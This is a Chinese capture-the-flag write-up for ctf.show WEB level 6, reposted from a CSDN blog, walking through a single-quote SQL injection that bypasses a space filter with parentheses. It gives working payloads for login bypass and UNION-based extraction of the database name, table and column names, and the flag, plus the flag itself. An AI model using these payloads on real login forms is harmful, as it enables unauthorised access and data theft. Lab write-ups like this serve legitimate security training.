ctfshow-WEB-web6
【摘要】
ctf.show WEB模块第6关是一个SQL注入漏洞,注入点是单引号字符型注入,并且过滤了空格,我们可以使用括号()或者注释/**/绕过
先来一个万能账号,注意使用括号()替换空格,用户名输入以下payload,密码随便输
a'or(true)#
成功登录
&nbs...
ctf.show WEB模块第6关是一个SQL注入漏洞,注入点是单引号字符型注入,并且过滤了空格,我们可以使用括号()或者注释/**/绕过
先来一个万能账号,注意使用括号()替换空格,用户名输入以下payload,密码随便输
a'or(true)#
成功登录
既然是SQL注入漏洞,那么flag肯定就藏在当前使用的数据库中,我们使用联合注入获取当前使用的数据库,用户名输入以下payload,密码随便输
a'or(true)union(select(1),database(),3)#
当前数据库是web2
接下来获取数据库中的所有表,用户名输入一下payload,密码随便输,如果直接复制payload,记得删掉内容中的空格等特殊字符,尽量使整个内容保持在一行,否则空格或换行符会使结果出错
-
a'or(true)union(select(1),
-
(select(group_concat(table_name))from(information_schema.tables)
-
where(table_schema='web2'))
-
,3)#
成功获取数据库中的表 flag , user
很明显flag就在flag这个表中,接下来我们获取flag表的所有字段,用户名输入以下payload,密码随便输,如果直接赋值payload,记得删掉内容中的空格和换行符,否则会报错
-
a'or(true)union(select(1),
-
select(group_concat(column_name))from(information_schema.columns)
-
where(table_schema='web2')and(table_name='flag'))
-
,3)#
成功获取表中字段flag
接下来就是获取flag表中的数据了,用户名输入以下payload,密码随便输
a'or(true)union(select(1),(select(flag)from(flag)),3)#
把整个内容复制到输入框中提交flag,即可过关
ctfshow{4cd84cfd-e43c-40f0-86df-d11bf6c2c50c}
文章来源: blog.csdn.net,作者:士别三日wyx,版权归原作者所有,如需转载,请联系作者。
原文链接:blog.csdn.net/wangyuxiang946/article/details/119845871
【版权声明】本文为华为云社区用户转载文章,如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱:
cloudbbs@huaweicloud.com
- 点赞
- 收藏
- 关注作者
评论(0)